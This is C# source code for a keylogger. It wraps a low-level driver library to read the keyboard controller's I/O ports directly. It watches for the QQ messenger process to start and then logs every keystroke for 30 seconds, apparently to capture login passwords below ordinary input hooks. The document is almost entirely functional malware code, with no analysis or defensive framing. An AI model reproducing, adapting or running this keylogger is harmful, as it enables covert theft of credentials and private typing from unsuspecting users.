public void Dispose() { if (module != IntPtr.Zero) { DeinitializeOls(); Ols.FreeLibrary(module); module = IntPtr.Zero; } }
public Ols() { string fileName; if (System.IntPtr.Size == 8) { fileName = dllNameX64; } else { fileName = dllName; } module = Ols.LoadLibrary(fileName); if (module == IntPtr.Zero) { status = (uint)Status.DLL_NOT_FOUND; } else { GetDllStatus = (_GetDllStatus)GetDelegate("GetDllStatus", typeof(_GetDllStatus)); GetDllVersion = (_GetDllVersion)GetDelegate("GetDllVersion", typeof(_GetDllVersion)); GetDriverVersion = (_GetDriverVersion)GetDelegate("GetDriverVersion", typeof(_GetDriverVersion)); GetDriverType = (_GetDriverType)GetDelegate("GetDriverType", typeof(_GetDriverType)); InitializeOls = (_InitializeOls)GetDelegate("InitializeOls", typeof(_InitializeOls)); DeinitializeOls = (_DeinitializeOls)GetDelegate("DeinitializeOls", typeof(_DeinitializeOls)); IsCpuid = (_IsCpuid)GetDelegate("IsCpuid", typeof(_IsCpuid)); IsMsr = (_IsMsr)GetDelegate("IsMsr", typeof(_IsMsr)); IsTsc = (_IsTsc)GetDelegate("IsTsc", typeof(_IsTsc)); Hlt = (_Hlt)GetDelegate("Hlt", typeof(_Hlt)); HltTx = (_HltTx)GetDelegate("HltTx", typeof(_HltTx)); HltPx = (_HltPx)GetDelegate("HltPx", typeof(_HltPx)); Rdmsr = (_Rdmsr)GetDelegate("Rdmsr", typeof(_Rdmsr)); RdmsrTx = (_RdmsrTx)GetDelegate("RdmsrTx", typeof(_RdmsrTx)); RdmsrPx = (_RdmsrPx)GetDelegate("RdmsrPx", typeof(_RdmsrPx)); Wrmsr = (_Wrmsr)GetDelegate("Wrmsr", typeof(_Wrmsr)); WrmsrTx = (_WrmsrTx)GetDelegate("WrmsrTx", typeof(_WrmsrTx)); WrmsrPx = (_WrmsrPx)GetDelegate("WrmsrPx", typeof(_WrmsrPx)); Rdpmc = (_Rdpmc)GetDelegate("Rdpmc", typeof(_Rdpmc)); RdpmcTx = (_RdpmcTx)GetDelegate("RdpmcTx", typeof(_RdpmcTx)); RdpmcPx = (_RdpmcPx)GetDelegate("RdpmcPx", typeof(_RdpmcPx)); Cpuid = (_Cpuid)GetDelegate("Cpuid", typeof(_Cpuid)); CpuidTx = (_CpuidTx)GetDelegate("CpuidTx", typeof(_CpuidTx)); CpuidPx = (_CpuidPx)GetDelegate("CpuidPx", typeof(_CpuidPx)); Rdtsc = (_Rdtsc)GetDelegate("Rdtsc", typeof(_Rdtsc)); RdtscTx = (_RdtscTx)GetDelegate("RdtscTx", typeof(_RdtscTx)); RdtscPx = (_RdtscPx)GetDelegate("RdtscPx", typeof(_RdtscPx)); ReadIoPortByte = (_ReadIoPortByte)GetDelegate("ReadIoPortByte", typeof(_ReadIoPortByte)); ReadIoPortWord = (_ReadIoPortWord)GetDelegate("ReadIoPortWord", typeof(_ReadIoPortWord)); ReadIoPortDword = (_ReadIoPortDword)GetDelegate("ReadIoPortDword", typeof(_ReadIoPortDword)); ReadIoPortByteEx = (_ReadIoPortByteEx)GetDelegate("ReadIoPortByteEx", typeof(_ReadIoPortByteEx)); ReadIoPortWordEx = (_ReadIoPortWordEx)GetDelegate("ReadIoPortWordEx", typeof(_ReadIoPortWordEx)); ReadIoPortDwordEx = (_ReadIoPortDwordEx)GetDelegate("ReadIoPortDwordEx", typeof(_ReadIoPortDwordEx)); WriteIoPortByte = (_WriteIoPortByte)GetDelegate("WriteIoPortByte", typeof(_WriteIoPortByte)); WriteIoPortWord = (_WriteIoPortWord)GetDelegate("WriteIoPortWord", typeof(_WriteIoPortWord)); WriteIoPortDword = (_WriteIoPortDword)GetDelegate("WriteIoPortDword", typeof(_WriteIoPortDword)); WriteIoPortByteEx = (_WriteIoPortByteEx)GetDelegate("WriteIoPortByteEx", typeof(_WriteIoPortByteEx)); WriteIoPortWordEx = (_WriteIoPortWordEx)GetDelegate("WriteIoPortWordEx", typeof(_WriteIoPortWordEx)); WriteIoPortDwordEx = (_WriteIoPortDwordEx)GetDelegate("WriteIoPortDwordEx", typeof(_WriteIoPortDwordEx)); SetPciMaxBusIndex = (_SetPciMaxBusIndex)GetDelegate("SetPciMaxBusIndex", typeof(_SetPciMaxBusIndex)); ReadPciConfigByte = (_ReadPciConfigByte)GetDelegate("ReadPciConfigByte", typeof(_ReadPciConfigByte)); ReadPciConfigWord = (_ReadPciConfigWord)GetDelegate("ReadPciConfigWord", typeof(_ReadPciConfigWord)); ReadPciConfigDword = (_ReadPciConfigDword)GetDelegate("ReadPciConfigDword", typeof(_ReadPciConfigDword)); ReadPciConfigByteEx = (_ReadPciConfigByteEx)GetDelegate("ReadPciConfigByteEx", typeof(_ReadPciConfigByteEx)); ReadPciConfigWordEx = (_ReadPciConfigWordEx)GetDelegate("ReadPciConfigWordEx", typeof(_ReadPciConfigWordEx)); ReadPciConfigDwordEx = (_ReadPciConfigDwordEx)GetDelegate("ReadPciConfigDwordEx", typeof(_ReadPciConfigDwordEx)); WritePciConfigByte = (_WritePciConfigByte)GetDelegate("WritePciConfigByte", typeof(_WritePciConfigByte)); WritePciConfigWord = (_WritePciConfigWord)GetDelegate("WritePciConfigWord", typeof(_WritePciConfigWord)); WritePciConfigDword = (_WritePciConfigDword)GetDelegate("WritePciConfigDword", typeof(_WritePciConfigDword)); WritePciConfigByteEx = (_WritePciConfigByteEx)GetDelegate("WritePciConfigByteEx", typeof(_WritePciConfigByteEx)); WritePciConfigWordEx = (_WritePciConfigWordEx)GetDelegate("WritePciConfigWordEx", typeof(_WritePciConfigWordEx)); WritePciConfigDwordEx = (_WritePciConfigDwordEx)GetDelegate("WritePciConfigDwordEx", typeof(_WritePciConfigDwordEx)); FindPciDeviceById = (_FindPciDeviceById)GetDelegate("FindPciDeviceById", typeof(_FindPciDeviceById)); FindPciDeviceByClass = (_FindPciDeviceByClass)GetDelegate("FindPciDeviceByClass", typeof(_FindPciDeviceByClass)); #if _PHYSICAL_MEMORY_SUPPORT ReadDmiMemory = (_ReadDmiMemory)GetDelegate("ReadDmiMemory", typeof(_ReadDmiMemory)); ReadPhysicalMemory = (_ReadPhysicalMemory)GetDelegate("ReadPhysicalMemory", typeof(_ReadPhysicalMemory)); WritePhysicalMemory = (_WritePhysicalMemory)GetDelegate("WritePhysicalMemory", typeof(_WritePhysicalMemory)); #endif if (!( GetDllStatus != null && GetDllVersion != null && GetDriverVersion != null && GetDriverType != null && InitializeOls != null && DeinitializeOls != null && IsCpuid != null && IsMsr != null && IsTsc != null && Hlt != null && HltTx != null && HltPx != null && Rdmsr != null && RdmsrTx != null && RdmsrPx != null && Wrmsr != null && WrmsrTx != null && WrmsrPx != null && Rdpmc != null && RdpmcTx != null && RdpmcPx != null && Cpuid != null && CpuidTx != null && CpuidPx != null && Rdtsc != null && RdtscTx != null && RdtscPx != null && ReadIoPortByte != null && ReadIoPortWord != null && ReadIoPortDword != null && ReadIoPortByteEx != null && ReadIoPortWordEx != null && ReadIoPortDwordEx != null && WriteIoPortByte != null && WriteIoPortWord != null && WriteIoPortDword != null && WriteIoPortByteEx != null && WriteIoPortWordEx != null && WriteIoPortDwordEx != null && SetPciMaxBusIndex != null && ReadPciConfigByte != null && ReadPciConfigWord != null && ReadPciConfigDword != null && ReadPciConfigByteEx != null && ReadPciConfigWordEx != null && ReadPciConfigDwordEx != null && WritePciConfigByte != null && WritePciConfigWord != null && WritePciConfigDword != null && WritePciConfigByteEx != null && WritePciConfigWordEx != null && WritePciConfigDwordEx != null && FindPciDeviceById != null && FindPciDeviceByClass != null #if _PHYSICAL_MEMORY_SUPPORT && ReadDmiMemory != null && ReadPhysicalMemory != null && WritePhysicalMemory != null #endif )) { status = (uint)Status.DLL_INCORRECT_VERSION; } if (InitializeOls() == 0) { status = (uint)Status.DLL_INITIALIZE_ERROR; } } }
private void DoWork(System.ComponentModel.BackgroundWorker bk) { Ols ols = new Ols(); int processId = 0; switch (ols.GetStatus()) { case (uint)Ols.Status.NO_ERROR: break; case (uint)Ols.Status.DLL_NOT_FOUND: System.Console.WriteLine("Status Error!! DLL_NOT_FOUND"); Environment.Exit(0); break; case (uint)Ols.Status.DLL_INCORRECT_VERSION: System.Console.WriteLine("Status Error!! DLL_INCORRECT_VERSION"); break; case (uint)Ols.Status.DLL_INITIALIZE_ERROR: System.Console.WriteLine("Status Error!! DLL_INITIALIZE_ERROR"); break; } byte lastKey = new byte(); byte keyCount = new byte(); byte vKeyCode = new byte(); string vKeyASC; bool bTrueProcessExist = false; DateTime dProcessStartTime = DateTime.Now; while (!bk.CancellationPending) { System.Threading.Thread.Sleep(5); if (!bTrueProcessExist) { foreach (System.Diagnostics.Process item in System.Diagnostics.Process.GetProcesses()) { if (item.ProcessName.Equals("QQ") && !item.Id.Equals(processId)) { processId = item.Id; //进入 WriteLog("QQ Open-----------"); bTrueProcessExist = true; dProcessStartTime = DateTime.Now; } } } if (bTrueProcessExist) { if (dProcessStartTime.AddSeconds(30) > DateTime.Now) { byte myKBC = ols.ReadIoPortByte(0x64); if (myKBC == 20 || myKBC == 28) { byte myData = ols.ReadIoPortByte(0x60); if (myData != lastKey && myData != 0) { keyCount = (byte)(myData & 0x7F); vKeyCode = Common.MapVirtualKey(keyCount, 1); if (vKeyCode != 0) { vKeyASC = Common.Chr(Common.MapVirtualKey(vKeyCode, 2)); if (vKeyASC != Common.Chr(0)) { if (Common.GetKeyState(0x14) % 0xFF80 == 1) { vKeyASC = vKeyASC.ToUpper(); } else { vKeyASC = vKeyASC.ToLower(); } if (vKeyASC == " ") { vKeyASC = "空格"; } } else { vKeyASC = "[" + keyCount.ToString() + "]"; } System.Console.WriteLine(vKeyASC); WriteLog(vKeyASC); lastKey = myData; } } } } else { bTrueProcessExist = false; WriteLog("Stop monitor--------------"); } } } }